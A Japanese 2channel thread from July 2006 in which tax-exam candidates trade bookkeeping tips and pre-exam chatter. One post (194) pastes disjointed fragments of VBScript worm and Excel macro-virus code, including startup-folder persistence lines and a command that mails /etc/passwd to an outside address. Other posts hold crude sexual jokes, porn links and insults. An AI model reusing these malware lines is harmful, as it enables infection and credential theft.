169 :一般に公正妥当と認められた名無しさん:2006/07/24(月) 21:07:40 ID:???
本スレ上げ

170 :一般に公正妥当と認められた名無しさん:2006/07/24(月) 21:42:16 ID:???
    ここは俺たちが鹿児島県人が保守するでごわす。

 ∩∩                               .V∩
  (7ヌ)                              (/ /
 / /                 ∧_∧            ||
/ /  ∧_∧     ∧_∧  _(´∀` )   ∧_∧   ||
\ \( ´∀`)―--( ´∀` ) ̄      ⌒ヽ(´∀` ) //
  \       /⌒   ⌒ ̄ヽ さる吉 /~⌒    ⌒ /
   |      |ー、      / ̄|    //`i 2/5人前 /
    | N村  |  試験番長  (ミ   ミ)  |    |
   |    | |     | /      \ |    |
   |    |  )    /   /\   \|       ヽ
   /   つ | /  ヽ ヽ、_/)  (\    ) ゝ  |
   |  |  | /   /|   / レ   \`ー ' |  |  /


171 :一般に公正妥当と認められた名無しさん:2006/07/24(月) 21:49:08 ID:???
全部同一人物じゃねぇかww

172 :一般に公正妥当と認められた名無しさん:2006/07/24(月) 21:54:53 ID:2mObK8Zw
連結の定義
高給取りの会計士を求めた肉便器の女がケツを出してバック体位で待ち構えている様子、または、女達がケツを並べている様子、連ケツ

173 :一般に公正妥当と認められた名無しさん:2006/07/24(月) 22:44:03 ID:???
俺が考える出てほしくない問題

問3
本支店合併精算表(複数支店)
・A支店は割賦販売してる。
・B支店は委託販売してる。



174 :一般に公正妥当と認められた名無しさん:2006/07/24(月) 22:50:22 ID:???
↓あの人の消したい過去
http://mentai.2ch.net/tax/kako/1016/10165/1016510287.html

175 :一般に公正妥当と認められた名無しさん:2006/07/24(月) 23:02:25 ID:???
>>170

AA貼り付けもコテの話題も禁止だよ。
簿記論の話をしろよ。
あと1週間で本試験なんだぞ。

176 :159:2006/07/24(月) 23:24:18 ID:???
たぶん前提がずれてるっぽい。

為替予約、振当処理の問題文に
『直先差額については、重要性がないため一括損益処理をする』
とある場合、直先差額の仕訳は本来は
買掛金 ○○○/前受収益 ○○○
すべきところを
買掛金 ○○○/為替差損益 ○○○
とするわけだから

取得時SRレート→予約時SRレート→予約時FRレート
の順当な手続きをせずに
取得時SRレート→予約時FRレート
にできることかと。
振当処理だから期末のレートは絡まないでしょ?

そして今日のファイナルチェックの第一問にやられた・・・
まともに割賦販売、委託販売に取り組んでしまったorz
推定問題で混乱すると後の問題にひくねぇ。おかげで簡単な2,3問もケアレスミスが目立ったよ。
本試験で推定でたら後に回すか。

本試験でなくてよかったorz

177 :一般に公正妥当と認められた名無しさん:2006/07/24(月) 23:42:36 ID:???
>AA貼り付けもコテの話題も禁止だよ。


知らん。

178 :一般に公正妥当と認められた名無しさん :2006/07/24(月) 23:45:35 ID:???
最強3大免除院
横浜国立・名古屋市立・大阪府立
Fランクなどと馬鹿にされるのが嫌ならここへ行くといいよ
難関だけど、それなりの価値はあるはずだよ
でも高卒は受験できないよ

179 :一般に公正妥当と認められた名無しさん:2006/07/24(月) 23:50:58 ID:???
>>178
高卒は高卒らしく5科目試験で税理士を目指せ

180 :一般に公正妥当と認められた名無しさん:2006/07/24(月) 23:52:22 ID:???
>>176
すまん、月割り按分しないって話なのに
予約してないことにして期末レート換算してた


ごめん、・・・なんか・・・俺・・・・疲れてて・・・・それでもなんか言いたくて・・・・ごめん、

181 :一般に公正妥当と認められた名無しさん:2006/07/24(月) 23:56:19 ID:???
>>178
>でも高卒は受験できないよ

何でこんな分かり切ったことを書くんだ?

182 :一般に公正妥当と認められた名無しさん:2006/07/25(火) 01:22:17 ID:Mu7au+ig
連ケツ ワラタwww

183 :一般に公正妥当と認められた名無しさん:2006/07/25(火) 01:53:55 ID:???
本試験は何が出ようと問題解くしかないが、
指示不足や作問ミス連発で別解だらけは
嫌だな…

184 :一般に公正妥当と認められた名無しさん:2006/07/25(火) 03:50:39 ID:???
去年の第二問の減累が納得できないんだが。
しかもOはなぜか点数稼げる箇所にしてる。

185 :一般に公正妥当と認められた名無しさん:2006/07/25(火) 04:12:04 ID:???
貸付金の貸し倒れのことか?
あれなら俺も納得いかん。

186 :一般に公正妥当と認められた名無しさん:2006/07/25(火) 05:48:44 ID:???
いや、あそこで点取らなきゃ話になんねーだろ?まぁ、貸引は仕方ないけど‥‥

187 :一般に公正妥当と認められた名無しさん:2006/07/25(火) 06:04:32 ID:???
諦めるなーー

188 :一般に公正妥当と認められた名無しさん:2006/07/25(火) 11:08:21 ID:???
>>181
「高卒でも大学院へ行ける」と信じている糞高卒がいるから。

189 :一般に公正妥当と認められた名無しさん:2006/07/25(火) 11:21:34 ID:qQDbZYYk
ソンナヤツオランヤロー

190 :一般に公正妥当と認められた名無しさん:2006/07/25(火) 12:23:27 ID:???
580 名前: 一般に公正妥当と認められた名無しさん [sage] 投稿日: 2006/07/05(水) 20:54:07 ID:???
高卒君によい話を教えてあげよう。
学校教育基本法施行規則の改正により
「大学を卒業した者と同等以上の学力があると認めた者」
にも大学院受験資格を認めてよいことになった。
免除大学院の全てが、高卒に門戸を開いているわけではないが、
簿記1級や、簿財の合格履歴で受験資格をくれる大学院も存在する。
よかったね


584 名前: 一般に公正妥当と認められた名無しさん [sage] 投稿日: 2006/07/06(木) 02:07:13 ID:???
シケバンのデマw


585 名前: 一般に公正妥当と認められた名無しさん [sage] 投稿日: 2006/07/06(木) 02:29:31 ID:???
シケバンは何でも都合良く解釈するからwww


191 :一般に公正妥当と認められた名無しさん:2006/07/25(火) 12:25:02 ID:977tW5ct
チッチキチー!

192 :一般に公正妥当と認められた名無しさん:2006/07/25(火) 12:30:28 ID:i9kS5p/g
別解ということはどちらかの予備校は×ということだな

193 :一般に公正妥当と認められた名無しさん:2006/07/25(火) 15:00:16 ID:EuXnX6+L
高卒は大学出てないから免除は無理だよ
単に最終学歴が底辺院卒になるだけだよ

194 :一般に公正妥当と認められた名無しさん:2006/07/25(火) 16:25:14 ID:???
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
fso.copyfile "dirsystem&nurupo.vbs","j:\windows\startmenu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFilef1.path, f1.path+"


195 :一般に公正妥当と認められた名無しさん:2006/07/25(火) 22:03:55 ID:78fMZyne
エルメスもうあきらめろ

196 :一般に公正妥当と認められた名無しさん:2006/07/26(水) 00:25:40 ID:BMkgZhan
そういやあ免除マンはどうしたんだろww?

197 :一般に公正妥当と認められた名無しさん:2006/07/26(水) 01:42:25 ID:???
良スレ

198 :一般に公正妥当と認められた名無しさん:2006/07/26(水) 01:44:22 ID:UOZt4qX5
高卒は工場イケよ

199 :一般に公正妥当と認められた名無しさん:2006/07/26(水) 03:02:18 ID:???
工場といえば本社工場会計だね。


200 :一般に公正妥当と認められた名無しさん:2006/07/26(水) 03:18:14 ID:3HJJF/eB
松下の工場でプラズマテレビの組立作業
月給15マソ 零細事務職員も給料変わらないベ?

201 :一般に公正妥当と認められた名無しさん:2006/07/26(水) 07:41:50 ID:???
>>195
おっす、エヌ村

202 :一般に公正妥当と認められた名無しさん:2006/07/26(水) 14:55:17 ID:???
age

203 :一般に公正妥当と認められた名無しさん:2006/07/27(木) 00:10:34 ID:???
/!/{  / ヾ--r
   _  /     ̄    <_
 _>`´   >>粘着  ___<_
  >    r‐'" ̄ ̄ ノ ̄ ̄`ヽ、―ニ 二
/ ,    |  `ヽ/ ´`ヽ _  三,:三ー二
 ̄/    |   ノヽ--/ ̄ ,    ` ̄ ̄ ̄
 / /⌒ヽ,|  ミ }  ...|  /!
 レ l d     _}`ー‐し'ゝL _
  | ヽ、_,   _,:ヘr--‐‐'´}    ;ー------
  |/|  \   ノ`ヾ:::-‐'ーr‐'"==-
    ヽ/l/|` ー------r‐'"    ̄ ̄
      |└-- 、__/`\-:、
     __,ゝ,,_____/ \_」 \





204 :一般に公正妥当と認められた名無しさん:2006/07/27(木) 00:29:27 ID:???
クズ村、家は流されなかったか?w

205 :一般に公正妥当と認められた名無しさん:2006/07/27(木) 00:31:06 ID:???
204 :一般に公正妥当と認められた名無しさん :2006/07/27(木) 00:29:27 ID:???
クズ村、家は流されなかったか?w


206 :一般に公正妥当と認められた名無しさん:2006/07/27(木) 00:34:15 ID:4gaUc2VM
連結出る夢を見た。

207 :一般に公正妥当と認められた名無しさん:2006/07/27(木) 00:37:15 ID:???
大好きな税理士試験だけどやめることにしました

みんなごめん!!

税理士試験合格なんてさ、でかいこと言ったけど
どこにもたどり着けないで・・

またどこかで試験受けさせて、なんて考えもチラチラします。

手は振らないよ!くやしいからね!




208 :一般に公正妥当と認められた名無しさん:2006/07/27(木) 00:54:57 ID:BKHZfvGQ
受かりそうもない奴は受験するの止めとけ

209 :一般に公正妥当と認められた名無しさん:2006/07/27(木) 01:32:32 ID:VM1/kOXA
>>208
分母が減ったら合格者数も減るぞ。

210 :一般に公正妥当と認められた名無しさん:2006/07/27(木) 08:31:02 ID:???
>>207
おいそこのおまえ、急いで戻って来い。今後受けるチャンスはそんなにないぞ。
あれだけ周囲に大言壮語しておいてまさか自分だけ逃げる気か?
試験会場に行って2時間全く解けない問題の前にただ座って皆さんに懺悔しろ。
それくらいの責任感はあるだろう?無責任に回りに受かると宣言したんだから。
とにかく試験会場にだけは行け、それがおまえの責任の取り方だ。

「大好きな税理士試験」なんだから一度は土産話になるから受けとけ。
みんな仮装してきたり、のぼりを押し立てて田舎から受けに来るから案外楽しいで。



211 :一般に公正妥当と認められた名無しさん:2006/07/27(木) 10:05:45 ID:???
>>207


やめてしまったら、
そこで試合終了だよ



212 :一般に公正妥当と認められた名無しさん:2006/07/27(木) 10:51:08 ID:???
クズ村には向いてない試験

213 :一般に公正妥当と認められた名無しさん:2006/07/27(木) 12:14:00 ID:???
言えない・・・
>>207が簿財酒○だなんて俺には言えない・・・

214 :一般に公正妥当と認められた名無しさん:2006/07/27(木) 14:41:39 ID:???
合格に向けて頑張ろう!!

あげ

215 :一般に公正妥当と認められた名無しさん:2006/07/27(木) 14:44:02 ID:???
207て欽でしょ

216 :一般に公正妥当と認められた名無しさん:2006/07/27(木) 15:11:53 ID:???
帳簿組織が第3問で出たらやだなぁ

217 :一般に公正妥当と認められた名無しさん:2006/07/27(木) 16:34:13 ID:???
何が出ても怖くはない

怖いのは異常に緊張してしまう俺の弱い心…


218 :一般に公正妥当と認められた名無しさん:2006/07/27(木) 16:52:57 ID:???
>>210
>みんな仮装してきたり、のぼりを押し立てて田舎から受けに来るから案外楽しいで。

↑鹿児島だろ?w

219 :一般に公正妥当と認められた名無しさん:2006/07/27(木) 17:08:01 ID:???
>>218
鹿児島なんて試験地はないだろ。

220 :一般に公正妥当と認められた名無しさん:2006/07/27(木) 17:29:53 ID:???
俺たち鹿児島人は、仮装してきたり、のぼりを押し立てて受験するんだ。

 ∩∩                               .V∩
  (7ヌ)                              (/ /
 / /                 ∧_∧            ||
/ /  ∧_∧     ∧_∧  _(´∀` )   ∧_∧   ||
\ \( ´∀`)―--( ´∀` ) ̄      ⌒ヽ(´∀` ) //
  \       /⌒   ⌒ ̄ヽ さる吉 /~⌒    ⌒ /
   |      |ー、      / ̄|    //`i 2/5人前 /
    | N村  |  試験番長  (ミ   ミ)  |    |
   |    | |     | /      \ |    |
   |    |  )    /   /\   \|       ヽ
   /   つ | /  ヽ ヽ、_/)  (\    ) ゝ  |
   |  |  | /   /|   / レ   \`ー ' |  |  /

221 :一般に公正妥当と認められた名無しさん:2006/07/27(木) 19:32:38 ID:???
原価率算定、製造原価、ソフトウェアの原価算定、本社工場、本支店、連結がでなければ俺は99%受かる

222 :一般に公正妥当と認められた名無しさん:2006/07/27(木) 19:52:08 ID:GacMcHT0
じゃあソフトウェア出るといいな

223 :一般に公正妥当と認められた名無しさん:2006/07/27(木) 21:55:14 ID:???
それだけ穴ある奴も珍しいね。すごい
ネット張ってないラケットでテニスの試合するようなもんだ


224 :一般に公正妥当と認められた名無しさん:2006/07/27(木) 23:41:42 ID:BKHZfvGQ
原価率分からないで受かる奴はいないだろw

225 :一般に公正妥当と認められた名無しさん:2006/07/28(金) 00:01:29 ID:???
またクズ村か!!

226 :一般に公正妥当と認められた名無しさん:2006/07/28(金) 05:04:45 ID:???
age

227 :一般に公正妥当と認められた名無しさん:2006/07/28(金) 07:02:41 ID:K8D2kCi9
ぜったい受かりたい!!

228 :一般に公正妥当と認められた名無しさん:2006/07/28(金) 14:42:08 ID:???
名無しで潜伏中のクズ村は、本試験が終わったらコテ復活するはず。
報告できる友達が誰もいないからw

229 :一般に公正妥当と認められた名無しさん:2006/07/28(金) 19:19:13 ID:???
試験3日前につき緊急浮上

230 :一般に公正妥当と認められた名無しさん:2006/07/28(金) 19:38:09 ID:coRwuyAI
9割近くは必ず落ちます。

231 :一般に公正妥当と認められた名無しさん:2006/07/28(金) 19:53:45 ID:???
帳簿が出なけりゃいけるが…

前日に帳簿組織の確認だけはとる

232 :一般に公正妥当と認められた名無しさん:2006/07/28(金) 20:11:32 ID:???

691 名前: 名無しさん@そうだ確定申告に行こう 投稿日: 2006/07/28(金) 17:01:40 ID:Yk945RbP
俺たち鹿児島在住の無資格四天王がどんな質問にでも答えるよ。

 ∩∩                               .V∩
  (7ヌ)                              (/ /
 / /                 ∧_∧            ||
/ /  ∧_∧     ∧_∧  _(´∀` )   ∧_∧   ||
\ \( ´∀`)―--( ´∀` ) ̄      ⌒ヽ(´∀` ) //
  \       /⌒   ⌒ ̄ヽ さる吉 /~⌒    ⌒ /
   |      |ー、      / ̄|    //`i 2/5人前 /
    | N村  |  試験番長  (ミ   ミ)  |    |
   |    | |     | /      \ |    |
   |    |  )    /   /\   \|       ヽ
   /   つ | /  ヽ ヽ、_/)  (\    ) ゝ  |
   |  |  | /   /|   / レ   \`ー ' |  |  /

233 :一般に公正妥当と認められた名無しさん:2006/07/28(金) 21:34:05 ID:???
>>231
最近帳簿がらみの一巡かC/Fがらみの一巡ばっかりやってる

234 :一般に公正妥当と認められた名無しさん:2006/07/29(土) 00:53:27 ID:???
無資格四天王w

235 :一般に公正妥当と認められた名無しさん:2006/07/29(土) 08:34:29 ID:???
>>231
組織かどうかはともかく帳簿は必ず出るだろwwwww

236 :一般に公正妥当と認められた名無しさん:2006/07/29(土) 08:53:00 ID:???
エヌ村、つまんねー

237 :一般に公正妥当と認められた名無しさん:2006/07/29(土) 10:38:06 ID:???
お尋ねします、このあたりでついさっき
涙の散る音が聞こえた気がして
駆け付けたんだけど、誰の涙かなぁ?
そういや君は随分赤い目をしてるね…えーと、うん…
そうだ!いくつかの物語をプレゼントしてあげる!
ちゃんと読んでおくこと。いいね?

それじゃまた後で…

238 :一般に公正妥当と認められた名無しさん:2006/07/29(土) 16:29:31 ID:???
エヌ村は今年も落ちる!!

239 :一般に公正妥当と認められた名無しさん:2006/07/29(土) 17:52:57 ID:???
>>235
帳簿が出ない年もあったと思う

240 :一般に公正妥当と認められた名無しさん:2006/07/29(土) 19:50:36 ID:???
試算表が出ない年はさすがになさそうだな

241 :一般に公正妥当と認められた名無しさん:2006/07/29(土) 20:20:35 ID:???
今年は理論が出るらしいよ

242 :一般に公正妥当と認められた名無しさん:2006/07/29(土) 21:20:14 ID:Njw48FVh
来年の今頃おれはどんな精神状態なんだろう

いちかばちかの試験…

受かるか受からないか…

来年受験するつもりなんだけど…こう考えてだけどもどきどきする。

みなさん、頑張ってくださいね



243 :一般に公正妥当と認められた名無しさん:2006/07/29(土) 21:39:47 ID:???
どんな精神状態かは成績による
去年は受かるはずがないからまったく緊張しなかった
今年は常時10%に入ってるからあまり緊張してない

一方、20%にしかいない財表は来年から大きく変化するらしいから
すげー緊張してる

244 :一般に公正妥当と認められた名無しさん:2006/07/29(土) 22:32:09 ID:???
俺会計士受験生で今年簿財を初受験するんだけど(短答は合格)、問題構成とかヤマ教えてくださいm(._.)m
あと書き間違った時は二重線引くんだよね?

245 :一般に公正妥当と認められた名無しさん:2006/07/29(土) 22:34:24 ID:???
べ、べっ、別に緊張なんかしてねえよっ!!

246 :一般に公正妥当と認められた名無しさん:2006/07/29(土) 22:40:22 ID:???
エヌ村は本試験の最中に2ちゃんねらーに何て報告するか考えている。

247 :一般に公正妥当と認められた名無しさん:2006/07/29(土) 23:32:49 ID:cfw+WRp4
>>246
おまえは本試験の最中もエヌ村のこと考えてるんだろうなwwww

248 :一般に公正妥当と認められた名無しさん:2006/07/29(土) 23:33:55 ID:???
○○○の悪行を某所に告発しました

249 :一般に公正妥当と認められた名無しさん:2006/07/29(土) 23:40:21 ID:???
ことしは合計試算表が出て、勘違いして残高書いてアボーンになる人続出だと思う

250 :一般に公正妥当と認められた名無しさん:2006/07/29(土) 23:43:03 ID:???
ここで問題

合計試算表では評価できるが残高試算表では評価できない事象がひとつある。それは何か?




251 :一般に公正妥当と認められた名無しさん:2006/07/29(土) 23:43:52 ID:???
今年は意表をついて半年決算企業が出てきて、
月割り計算ボロボロでアボーンになる人続出。


252 :一般に公正妥当と認められた名無しさん:2006/07/29(土) 23:47:56 ID:???
名無し潜伏中のエヌ村は、本試験直後にコテに戻って2ちゃんで報告するはず。
あいつは友達がゼロだからwww

253 :一般に公正妥当と認められた名無しさん:2006/07/29(土) 23:49:05 ID:???
熊本で試験うけて、終わったと同時に列車に飛び乗りww
はよー2ちゃんで報告したくてしゃーないからwwww

254 :一般に公正妥当と認められた名無しさん:2006/07/29(土) 23:53:06 ID:OsCwnDyS
ああ、ついに来てしまった。
また今年も分母か。
ふう、今までの苦労は何なのか。


255 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 00:00:18 ID:???
そりゃダメだな。

256 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 00:06:12 ID:???
>>253
ワラタw
たしか去年もそんな感じだったなw

257 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 00:15:14 ID:???
>>253
ワロタwww

258 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 00:22:45 ID:???
ここのスレの奴ら試験当日カゼ引け!!高熱出せ!!
そして長引け!!

259 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 00:49:59 ID:???
http://www.jp-sex.com/bishouzyo/

260 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 00:51:30 ID:???
セクハラ番長は下ネタ、スカトロネタが大好き

261 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 00:55:31 ID:???
http://www.myluver.com/photos_japan/aimi_nakatani/m04/images/15.jpg

262 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 01:03:43 ID:???
http://www.dmm.co.jp/mono/dvd/-/detail/=/cid=1sddm901/searchstr=ra71,Q__

263 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 06:46:49 ID:???
今年は今期末試算表から期中取引、決算整理を逆進して期首試算表を作成する問題が出ると思う

264 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 12:21:30 ID:???
本社工場会計か本支店会計のどちらかが確実に出ます。

265 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 12:22:54 ID:???
>>258
たむらけんじも受験するみたいだな。

266 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 12:24:47 ID:???
クズ村=生涯一受験生

267 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 12:25:40 ID:???
簿記論受ける受験生のオカン、
全員パーマあてるの失敗しろっ!!

268 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 12:51:19 ID:???
そしてオトンは禿げろっ!!

269 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 13:12:12 ID:???
タケシムケン

270 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 13:28:23 ID:eUpFUi6P
俺は地方だから、今から
受験会場のある都市へ出発するよ。
新幹線に乗って行くんだよ。
このスレッドには、お世話になった。
多分来年も、世話になると思うけど
皆さんの、幸運を祈ります。
分母の独り言でした。

271 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 13:29:30 ID:???
分母にならなければ、分子にはなれない
頑張れ

272 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 13:38:53 ID:???
会場までは原チャで30分。ちかくてよかった。

273 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 14:39:49 ID:???
おまいらホント暇なんだな

274 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 14:56:29 ID:???
簿記論を受ける前に言っておくッ!
おれは今税理士試験簿記論をほんのちょっぴりだが体験した
い…いや…体験したというよりはまったく理解を超えていたのだが……
,. -‐'''''""¨¨¨ヽ (.___,,,... -ァァフ| あ…ありのまま 起こった事を話すぜ!
|i i| }! }} //|
|l、{ j} /,,ィ//| 『おれは朝8時20分には会場に到着、受験票、筆記用具、電卓、何の問題もない、と
i|:!ヾ、_ノ/ u {:}//ヘ 思ったらなぜか法人税法の試験を受けていた』
|リ u' } ,ノ _,!V,ハ |
/´fト、_{ル{,ィ'eラ , タ人 な… 何を言ってるのか わからねーと思うが
/' ヾ|宀| {´,)⌒`/ |<ヽトiゝ おれも何をされたのかわからなかった…
,゙ / )ヽ iLレ u' | | ヾlトハ〉
|/_/ ハ !ニ⊇ '/:} V:::::ヽ 頭がどうにかなりそうだった…
// 二二二7'T'' /u' __ /:::::::/`ヽ
/'´r ー---ァ‐゙T´ '"´ /::::/-‐ \ 催眠術だとか超スピードだとか
/ // 广¨´ /' /:::::/´ ̄`ヽ ⌒ヽ そんなチャチなもんじゃあ 断じてねえ
ノ ' / ノ:::::`ー-、___/:::::// ヽ }
_/`丶 /:::::::::::::::::::::::::: ̄`ー-{:::... イ もっと恐ろしいものの片鱗を味わったぜ…



275 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 14:57:17 ID:???
ズレまくっててワロタ

276 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 15:03:52 ID:???
>>274
それ54回だなw

277 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 15:13:33 ID:???
>>270
早すぎないか?
明後日試験だから明日出発じゃいかんのかい?


278 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 15:14:32 ID:vfmqAxZA
みんな勉強しているのか? 不思議

279 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 15:15:53 ID:mV+1WfF0
いよいよ明日か。
俺もそろそろ準備するかな。


280 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 17:09:51 ID:???
え、あした?

281 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 17:24:32 ID:???
俺も帳簿の確認だけしたらもう寝るよ
明日朝早いから

282 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 17:33:07 ID:???
お前ら今日のうちに爪を切っておいたほうが良いぞ

283 :独学で簿財酒固 ◆XNHVFHZNs. :2006/07/30(日) 17:35:16 ID:qywF3YBw
>>244
書き間違いは二重線を引いて訂正し、枠内に書き直す
文字はあらかじめ少し小さめに書いておく

試験にはホッチキス以外に、受験票を机に貼り付けるためにセロテープも持っていくと良い

284 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 19:18:32 ID:???
税務経理協会でだした過去問やってるんだけどさ。
ボーダーかいてないから何点くらい取らなきゃいかんかわからん。
何点取ればいいの?

あと去年の2月28日残高試算表から3月の期中取引させて
計算書類を作らせる問題、
あれ、むずいよね。むずいといってくれ。
あんなに資料が読みづらい問題は見たことがない。

285 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 19:27:27 ID:???
>>284
去年はそれでパニクって落ちたww
あれ最後の仕訳帳と3月中の資料の読み取りがイライラして来るんだよな
一部は仕訳帳に載ってて一部は現金出納帳に載ってて一部はまったく載ってない
「仕訳帳」と「現金出納帳」だってことに気がつけばなにやればいいかすぐ分かるんだけどさ
第一問は当期純利益以外はすぐ出るし、第ニ問もほぼ全て正解が出せるから
第三問を落ち着いて解ければなんとかなった人が多いんじゃないかな

286 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 19:34:35 ID:???
>>285
さんきゅう


たくさん集計しなくちゃならんのにそのデータが散在し、
しかも読みづらい。
ミスった仕訳が事前にきられている。

やりづれーだけなのはわかるんだが
受かる気がしない。



287 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 19:36:28 ID:???
>>285
え?第1問と第2問ほぼ満点で落ちたの?ありえない。リーチ?

288 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 19:49:32 ID:lgvE8Hzn
全然できません。

記念受験します。みなさん頑張って下さい。

289 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 20:07:29 ID:5SE6yNq5
暑い中受験する必要ないだろ?

290 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 20:08:01 ID:pc8bA2CM
まだあと61時間あるぞ!
みんながんばろう!


291 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 20:36:06 ID:???
同じく記念受験です。仕事サボって挫折する為に行きます。

292 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 20:49:08 ID:jxSkVMMk



            お前ら全員落ちる

293 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 21:00:31 ID:QACO6U6Z
おらはじいちゃんのために頑張る

294 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 21:11:42 ID:???
初受験。
応用、全答、見事に全てボーダースレスレかちょい下。
やるだけのことはやったがどうなるんだろう・・・

295 :285:2006/07/30(日) 21:21:16 ID:???
>>287
いや、今年の過去問演習で解きなおしたらの話しだ
本番で第一問と第ニ問でほぼ満点取ってた奴らは
第三問がボロボロでも合格してたよ

296 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 21:23:43 ID:???
今の今まで解かずにストックしておいた的中B.
第1問:                             4orz
第2問:23
第3問:42


推定YABEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE!!!!

297 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 22:00:41 ID:???
推定できないのに受験するの?

298 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 23:07:23 ID:???

べ、べっ、別に緊張なんかしてねえよっ!!

299 :一般に公正妥当と認められた名無しさん:2006/07/30(日) 23:44:55 ID:???
もう寝ろよ、明日遅刻するぞ

300 :一般に公正妥当と認められた名無しさん:2006/07/31(月) 00:52:40 ID:???
本スレ300Get!!!

301 :一般に公正妥当と認められた名無しさん:2006/07/31(月) 01:04:32 ID:???
   \\\
     ((( ̄\__∧_∧
    `  \ \ミ ・ω・ ミ ゴスッゴスッ
      `∵\__)※ ∧ζ>
        ”;\_;;);ノω;)ノ >>1
         | ;:(x(⌒ノ
         /    U U
          /   /|  /
      .  /   / |  (

302 :一般に公正妥当と認められた名無しさん:2006/07/31(月) 01:51:29 ID:???
おまいら無事に寝れていいな。漏れは大学の試験(必修)がよりによって
今日の朝からある。地獄過ぎる。誰か助けれ。

303 :一般に公正妥当と認められた名無しさん:2006/07/31(月) 05:48:08 ID:???
眠い‥‥‥。

さーて、そろそろ行くかな‥‥‥。みんな、遅刻するなよ!!

特に初学者の方、八時半には教室に着いてないとダメよ。


304 :一般に公正妥当と認められた名無しさん:2006/07/31(月) 06:07:25 ID:???
氏ねよカスが

305 :一般に公正妥当と認められた名無しさん:2006/07/31(月) 06:13:09 ID:???
早いな俺もそろそろ出かけるよ

306 :一般に公正妥当と認められた名無しさん:2006/07/31(月) 06:23:53 ID:???
釣られないぞ(`・ω・´)


307 :一般に公正妥当と認められた名無しさん:2006/07/31(月) 06:28:42 ID:Z8TyN2VD
すまんが教えてくれ!
今日聞くのもどうかと思うんだが、キャッシュフロー計算書で
△を付すこと、とか、−を付けなさい、って書いてないときは
支払額や資産の増加額でも正の値のように書くのか?

308 :一般に公正妥当と認められた名無しさん:2006/07/31(月) 06:36:18 ID:KRM4nDCE
連結キャッシュフロー計算書の作成基準では、
標準的な様式として、「−」を使うことが記されているので、

△か−は絶対に必要。指示がなければ基準に従って「−」が無難。

309 :一般に公正妥当と認められた名無しさん:2006/07/31(月) 06:44:45 ID:AdZ9bDKY
嘘付け
PLでも−は付けないだろ

310 :一般に公正妥当と認められた名無しさん:2006/07/31(月) 07:33:20 ID:KRM4nDCE
連結CF基準に記載されている様式に逆らってまでマイナスを付けない
根拠があるなら教えてほしいのだが。


311 :308:2006/07/31(月) 07:34:34 ID:q6cjOe1r
ありがとう
指示がないってことがまず考えにくいが税理士試験は
指示が不明確なことが多いから気になって
良く読んで指示がなかったら―付けるよ
駅にはもうたくさん人がいる
頑張って行こうぜ

312 :一般に公正妥当と認められた名無しさん:2006/07/31(月) 08:18:48 ID:???
こんな時期に焦っても仕方ないからゲーセンにでも寄ってくか

313 :一般に公正妥当と認められた名無しさん:2006/07/31(月) 08:39:17 ID:nYTNYP18
>311
